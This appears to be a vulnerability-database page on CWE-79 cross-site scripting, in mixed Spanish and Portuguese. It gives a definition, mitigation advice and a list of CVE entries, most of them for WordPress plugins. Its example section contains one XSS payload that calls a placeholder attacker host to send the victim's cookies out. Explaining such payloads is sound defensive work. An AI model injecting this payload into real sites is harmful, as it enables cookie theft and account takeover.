Fallos del tipo CWE-79

30.294 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-49043HIGHWordPress Magic Responsive Slider and Carousel WordPress plugin <= 1.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49642HIGHWordPress Todo Custom Field plugin <= 3.0.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49639HIGHWordPress Monitor.chat plugin <= 1.1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37471HIGHWordPress Woffice Core plugin <= 5.4.8 - Site Wide Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-54179MEDIUMIBM Business Automation Workflow cross-site scriptingEPSS 0.3%CVE-2026-59666MEDIUMMultiple vulnerabilities in the Repasat applicationEPSS 0.3%CVE-2025-68010HIGHWordPress Netgsm plugin <= 2.9.63 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49239HIGHWordPress Add Categories Post Footer plugin <= 2.2.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37097HIGHWordPress Shortcodes by United Themes plugin < 5.0.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43987MEDIUMWordPress Sliding Door theme <= 3.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-14635MEDIUMHappy Addons for Elementor <= 3.20.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom JSEPSS 0.3%CVE-2024-53757MEDIUMWordPress WP Find Your Nearest plugin <= 0.3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43991MEDIUMWordPress Hotel Galaxy theme <= 4.4.24 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49229HIGHWordPress Better Author Bio plugin <= 2.7.10.11 - CSRF to Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-39502HIGHWordPress Goodlayers Hostel Plugin <= 3.1.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-25486MEDIUMCraft Commerce has Stored XSS in Shipping Methods Name Field Leading to Potential Privilege EscalationEPSS 0.3%CVE-2024-52471HIGHWordPress Extensions for Elementor plugin <= 2.0.37 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37199HIGHWordPress Enfold theme <= 5.6.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43995MEDIUMWordPress Posterity theme <= 3.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-12116MEDIUMDrift <= 1.5.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post TitleEPSS 0.3%